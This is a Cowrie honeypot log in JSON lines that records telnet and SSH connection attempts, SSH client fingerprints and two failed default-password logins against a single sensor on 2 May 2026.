{"eventid":"cowrie.session.closed","duration":0.17964911460876465,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:03.638102Z","src_ip":"23.111.140.22","session":"462348c4b3d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50450,"dst_ip":"10.17.0.5","dst_port":23,"session":"1317248863b9","protocol":"telnet","message":"New connection: 23.111.140.22:50450 (10.17.0.5:23) [session: 1317248863b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:05.882282Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.164.233.216","src_port":50365,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6348501cdb5","protocol":"telnet","message":"New connection: 45.164.233.216:50365 (10.17.0.5:23) [session: f6348501cdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:06.454509Z"}
{"eventid":"cowrie.session.closed","duration":32.29308223724365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:10.697062Z","src_ip":"23.111.140.22","session":"707f1a2cb8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064250469207764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:10.986075Z","src_ip":"23.111.140.22","session":"2d8cf5848697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28190541267395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:14.225603Z","src_ip":"23.111.140.22","session":"7e98247b4a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960105895996094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:14.601049Z","src_ip":"23.111.140.22","session":"d4969ab8c54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b72b4dde64","protocol":"telnet","message":"New connection: 23.111.140.22:60246 (10.17.0.5:23) [session: 03b72b4dde64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:15.449186Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc6572f07d1","protocol":"telnet","message":"New connection: 23.111.140.22:42260 (10.17.0.5:23) [session: 3fc6572f07d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:15.490467Z"}
{"eventid":"cowrie.session.closed","duration":32.42682909965515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:15.507713Z","src_ip":"23.111.140.22","session":"f20a91e2a7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.822803497314453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:15.557571Z","src_ip":"23.111.140.22","session":"f11b02f48754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512966871261597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:18.525534Z","src_ip":"23.111.140.22","session":"3c95ecac36b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":35912,"dst_ip":"10.17.0.5","dst_port":22,"session":"86faf32f744d","protocol":"ssh","message":"New connection: 202.145.0.61:35912 (10.17.0.5:22) [session: 86faf32f744d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:18.882663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:18.886688Z","src_ip":"202.145.0.61","session":"86faf32f744d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43038,"dst_ip":"10.17.0.5","dst_port":23,"session":"518b9948b4ac","protocol":"telnet","message":"New connection: 23.111.140.22:43038 (10.17.0.5:23) [session: 518b9948b4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:19.005308Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:19.119985Z","src_ip":"202.145.0.61","session":"86faf32f744d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45950,"dst_ip":"10.17.0.5","dst_port":23,"session":"89dda939420c","protocol":"telnet","message":"New connection: 23.111.140.22:45950 (10.17.0.5:23) [session: 89dda939420c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:20.004743Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:20.087138Z","src_ip":"202.145.0.61","session":"86faf32f744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.99994683265686,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:20.454337Z","src_ip":"45.164.233.216","session":"f6348501cdb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81832504272461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:21.253818Z","src_ip":"23.111.140.22","session":"7f69e6e70576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:21.323685Z","src_ip":"202.145.0.61","session":"86faf32f744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.422531604766846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:22.785140Z","src_ip":"23.111.140.22","session":"bd028e0a63c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.141212940216064,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:28.442500Z","src_ip":"174.138.46.234","session":"a16725ef5b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87a528d6d43","protocol":"telnet","message":"New connection: 23.111.140.22:53310 (10.17.0.5:23) [session: e87a528d6d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:31.951983Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b452b96085b","protocol":"telnet","message":"New connection: 23.111.140.22:47928 (10.17.0.5:23) [session: 7b452b96085b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:33.320856Z"}
{"eventid":"cowrie.session.closed","duration":30.870506525039673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:36.752654Z","src_ip":"23.111.140.22","session":"1317248863b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55230,"dst_ip":"159.203.135.109","dst_port":23,"session":"b085900a74ec","protocol":"telnet","message":"New connection: 174.138.46.234:55230 (159.203.135.109:23) [session: b085900a74ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:37.986473Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42030,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cfdbcf2f031","protocol":"telnet","message":"New connection: 23.111.140.22:42030 (10.17.0.5:23) [session: 5cfdbcf2f031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:38.373614Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d21b5dc9f97a","protocol":"telnet","message":"New connection: 174.138.46.234:55356 (159.203.135.109:23) [session: d21b5dc9f97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:38.404089Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8d3321a2432","protocol":"telnet","message":"New connection: 174.138.46.234:55086 (159.203.135.109:23) [session: a8d3321a2432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:38.619273Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55618,"dst_ip":"159.203.135.109","dst_port":23,"session":"82712cc99a4d","protocol":"telnet","message":"New connection: 174.138.46.234:55618 (159.203.135.109:23) [session: 82712cc99a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:39.270513Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55620,"dst_ip":"159.203.135.109","dst_port":23,"session":"419b9e567b81","protocol":"telnet","message":"New connection: 174.138.46.234:55620 (159.203.135.109:23) [session: 419b9e567b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:39.277663Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60096,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5301febca6c","protocol":"telnet","message":"New connection: 23.111.140.22:60096 (10.17.0.5:23) [session: f5301febca6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:41.347922Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56110,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38a525f15c2","protocol":"telnet","message":"New connection: 174.138.46.234:56110 (159.203.135.109:23) [session: c38a525f15c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:42.005450Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57418,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c2d5be9c4a","protocol":"telnet","message":"New connection: 23.111.140.22:57418 (10.17.0.5:23) [session: 53c2d5be9c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:43.650729Z"}
{"eventid":"cowrie.session.closed","duration":5.665465593338013,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:44.935856Z","src_ip":"174.138.46.234","session":"82712cc99a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.662924289703369,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:44.940477Z","src_ip":"174.138.46.234","session":"419b9e567b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9735238552093506,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:44.978915Z","src_ip":"174.138.46.234","session":"c38a525f15c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.907878398895264,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:45.894215Z","src_ip":"174.138.46.234","session":"b085900a74ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87723422050476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:46.326321Z","src_ip":"23.111.140.22","session":"03b72b4dde64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966163158416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:46.456491Z","src_ip":"23.111.140.22","session":"3fc6572f07d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"988c03357d04","protocol":"telnet","message":"New connection: 23.111.140.22:40712 (10.17.0.5:23) [session: 988c03357d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:46.758348Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a56113c283","protocol":"ssh","message":"New connection: 135.235.138.43:57490 (10.17.0.5:22) [session: f7a56113c283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:47.713295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:47.717975Z","src_ip":"135.235.138.43","session":"f7a56113c283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:47.904967Z","src_ip":"135.235.138.43","session":"f7a56113c283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.755553245544434,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:48.159533Z","src_ip":"174.138.46.234","session":"d21b5dc9f97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37046,"dst_ip":"10.17.0.5","dst_port":23,"session":"d167f551567b","protocol":"telnet","message":"New connection: 23.111.140.22:37046 (10.17.0.5:23) [session: d167f551567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:48.519590Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"111111","message":"login attempt [debian/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:48.686429Z","src_ip":"135.235.138.43","session":"f7a56113c283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:49.876517Z","src_ip":"135.235.138.43","session":"f7a56113c283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50026,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8f3b67d2f9","protocol":"telnet","message":"New connection: 23.111.140.22:50026 (10.17.0.5:23) [session: 6d8f3b67d2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:50.022094Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50872,"dst_ip":"10.17.0.5","dst_port":23,"session":"11423d7c3e10","protocol":"telnet","message":"New connection: 23.111.140.22:50872 (10.17.0.5:23) [session: 11423d7c3e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:50.361019Z"}
{"eventid":"cowrie.session.closed","duration":32.894526958465576,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:51.899715Z","src_ip":"23.111.140.22","session":"518b9948b4ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.934566974639893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:51.939181Z","src_ip":"23.111.140.22","session":"89dda939420c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"de14b5533eac","protocol":"telnet","message":"New connection: 23.111.140.22:56974 (10.17.0.5:23) [session: de14b5533eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:53.489146Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60230,"dst_ip":"10.17.0.5","dst_port":23,"session":"6300a697d4ab","protocol":"telnet","message":"New connection: 23.111.140.22:60230 (10.17.0.5:23) [session: 6300a697d4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:53.618691Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40878,"dst_ip":"10.17.0.5","dst_port":23,"session":"14aca4ec50df","protocol":"telnet","message":"New connection: 23.111.140.22:40878 (10.17.0.5:23) [session: 14aca4ec50df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:56.732077Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42234,"dst_ip":"10.17.0.5","dst_port":23,"session":"963a140e878b","protocol":"telnet","message":"New connection: 23.111.140.22:42234 (10.17.0.5:23) [session: 963a140e878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:58.202469Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e84a5fbe0c7","protocol":"telnet","message":"New connection: 23.111.140.22:45058 (10.17.0.5:23) [session: 4e84a5fbe0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:59.234706Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fa44500e7fb","protocol":"telnet","message":"New connection: 23.111.140.22:50440 (10.17.0.5:23) [session: 9fa44500e7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:00.066632Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99e9529950b","protocol":"telnet","message":"New connection: 23.111.140.22:55074 (10.17.0.5:23) [session: a99e9529950b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:01.709212Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5e91cce1ea","protocol":"telnet","message":"New connection: 23.111.140.22:55980 (10.17.0.5:23) [session: 6f5e91cce1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:01.986861Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.28.49.248","src_port":42939,"dst_ip":"10.17.0.5","dst_port":23,"session":"42834f10f41a","protocol":"telnet","message":"New connection: 139.28.49.248:42939 (10.17.0.5:23) [session: 42834f10f41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:04.706887Z"}
{"eventid":"cowrie.session.closed","duration":32.857682943344116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:04.809557Z","src_ip":"23.111.140.22","session":"e87a528d6d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65862798690796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:04.979525Z","src_ip":"23.111.140.22","session":"7b452b96085b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37910,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4d748cfde0","protocol":"telnet","message":"New connection: 23.111.140.22:37910 (10.17.0.5:23) [session: 1f4d748cfde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:05.593397Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42031,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8e9f4e156df","protocol":"telnet","message":"New connection: 23.111.140.22:42031 (10.17.0.5:23) [session: d8e9f4e156df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:06.989526Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40884,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2c8193a4a9","protocol":"telnet","message":"New connection: 23.111.140.22:40884 (10.17.0.5:23) [session: 5e2c8193a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:09.624986Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50016,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3df09f033c3","protocol":"telnet","message":"New connection: 23.111.140.22:50016 (10.17.0.5:23) [session: c3df09f033c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:09.730751Z"}
{"eventid":"cowrie.session.closed","duration":31.627604484558105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:10.001101Z","src_ip":"23.111.140.22","session":"5cfdbcf2f031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699928045272827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:14.350550Z","src_ip":"23.111.140.22","session":"53c2d5be9c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35247874259949,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:14.700319Z","src_ip":"23.111.140.22","session":"f5301febca6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.245318174362183,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:16.952089Z","src_ip":"139.28.49.248","session":"42834f10f41a","protocol":"telnet"}
